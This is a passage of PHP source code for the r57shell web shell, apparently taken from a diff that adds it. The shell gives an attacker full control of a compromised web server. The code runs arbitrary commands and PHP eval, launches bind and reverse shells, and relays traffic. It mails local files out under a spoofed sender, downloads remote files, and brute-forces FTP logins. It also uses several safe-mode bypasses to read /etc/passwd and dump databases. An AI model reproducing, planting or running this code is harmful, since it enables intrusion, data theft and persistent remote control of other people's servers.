:'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); +echo((!empty($id))?(ws(3).$id."<br>"):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>")); +echo ws(3).$dir; +echo ws(3).'( '.perms(@fileperms($dir)).' )'; +echo "</b></font>"; +} +else +{ +echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=2 color=red><b>"; +echo ws(3).@substr(@php_uname(),0,120)."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +echo ws(3).@get_current_user()."<br>"; +echo ws(3).$dir; +echo "<br></font>"; +} +echo "</font>"; +echo "</td></tr></table>"; +$f = '<br>'; +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail") + { + $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$POST['from']."\r\n"); + mr($language,$res); + $_POST['cmd']=""; + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file'])) + { + if(!$file=@fopen($_POST['loc_file'],"r")) { echo re($_POST['loc_file']); $_POST['cmd']=""; } + else + { + $filename = @basename($_POST['loc_file']); + $filedump = @fread($file,@filesize($_POST['loc_file'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + $attach = array( + "name"=>$filename, + "type"=>$mime_type, + "content"=>$filedump + ); + if(empty($_POST['subj'])) { $_POST['subj'] = 'file from r57shell'; } + if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; } + $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); + mr($language,$res); + $_POST['cmd']=""; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") +{ +$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; +} +if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") + { + switch($_POST['what']) + { + case 'own': + @chown($_POST['param1'],$_POST['param2']); + break; + case 'grp': + @chgrp($_POST['param1'],$_POST['param2']); + break; + case 'mod': + @chmod($_POST['param1'],intval($_POST['param2'], 8)); + break; + } + $_POST['cmd']=""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") + { + switch($_POST['what']) + { + case 'file': + if($_POST['action'] == "create") + { + if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + else { + fclose($file); + $_POST['e_name'] = $_POST['mk_name']; + $_POST['cmd']="edit_file"; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; + } + } + else if($_POST['action'] == "delete") + { + if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "<form name=save_file method=post>"; + echo ws(3)."<b>".$_POST['e_name']."</b>"; + echo "<div align=center><textarea name=e_text cols=121 rows=24>"; + echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); + fclose($file); + echo "</textarea>"; + echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; + echo "<input type=hidden name=dir value=".$dir.">"; + echo "<input type=hidden name=cmd value=save_file>"; + echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); + echo "</div>"; + echo "</font>"; + echo "</form>"; + echo "</td></tr></table>"; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + $mtime = @filemtime($_POST['e_name']); + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']); + @fwrite($file,$_POST['e_text']); + @touch($_POST['e_name'],$mtime,$mtime); + $_POST['cmd']=""; + echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.$lang[$language.'_text112'].up_down('id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.$lang[$language.'_text113'].up_down('id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.$lang[$language.'_text114'].up_down('id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo 